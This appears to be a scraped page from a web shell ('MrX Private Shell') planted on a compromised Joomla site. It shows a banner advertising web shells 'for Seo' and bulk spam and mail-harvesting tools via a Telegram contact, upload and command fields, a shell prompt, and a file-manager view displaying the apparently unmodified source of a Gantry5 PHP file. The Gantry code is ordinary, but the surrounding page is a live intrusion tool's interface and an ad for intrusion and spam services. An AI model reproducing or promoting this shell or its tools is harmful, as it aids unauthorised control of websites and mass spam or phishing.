__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2021 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla\Assignments;

use Gantry\Component\Assignments\AssignmentsInterface;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Version;

/**
 * Class AssignmentsMenu
 * @package Gantry\Joomla\Assignments
 */
class AssignmentsMenu implements AssignmentsInterface
{
    /** @var string */
    public $type = 'menu';
    /** @var int */
    public $priority = 1;

    /**
     * Returns list of rules which apply to the current page.
     *
     * @return array
     */
    public function getRules()
    {
        $rules = [];

        /** @var CMSApplication $application */
        $application = Factory::getApplication();
        if ($application->isClient('site')) {
            $menu = $application->getMenu();
            $active = $menu ? $menu->getActive() : null;
            if ($active) {
                $menutype = $active->menutype;
                $id = $active->id;
                $rules = [$menutype => [$id => $this->priority]];
            }
        }

        return $rules;
    }

    /**
     * List all the rules available.
     *
     * @param string $configuration
     * @return array
     */
    public function listRules($configuration)
    {
        /** @var CMSApplication $application */
        $application = Factory::getApplication();

        $data = $this->getMenulinks();
        $user = $application->getIdentity();
        $userid = $user ? $user->id : 0;

        $list = [];

        $checked_out_default = Version::MAJOR_VERSION < 4 ? '0' : null;

        foreach ($data as $menu) {
            $items = [];
            foreach ($menu->links as $link) {
                $items[] = [
                    'name' => $link->value,
                    'field' => ['id', 'link' . $link->value],
                    'value' => $link->template_style_id == $configuration,
                    'disabled' => $link->type !== 'component' || ($link->checked_out !== $checked_out_default && $link->checked_out != $userid),
                    'label' => str_repeat('—', max(0, $link->level-1)) . ' ' . $link->text
                ];
            }
            $group = [
                'label' => $menu->title ?: $menu->menutype,
                'items' => $items
            ];

            $list[$menu->menutype] = $group;
        }

        return $list;
    }

    /**
     * @return array
     */
    protected function getMenulinks()
    {
        // Works also in Joomla 4
        require_once JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php';

        return \MenusHelper::getMenuLinks();
    }
}

Filemanager

Name Type Size Permission Actions
AssignmentsMenu.php File 2.76 KB 0664
AssignmentsStyle.php File 2.21 KB 0664
Filemanager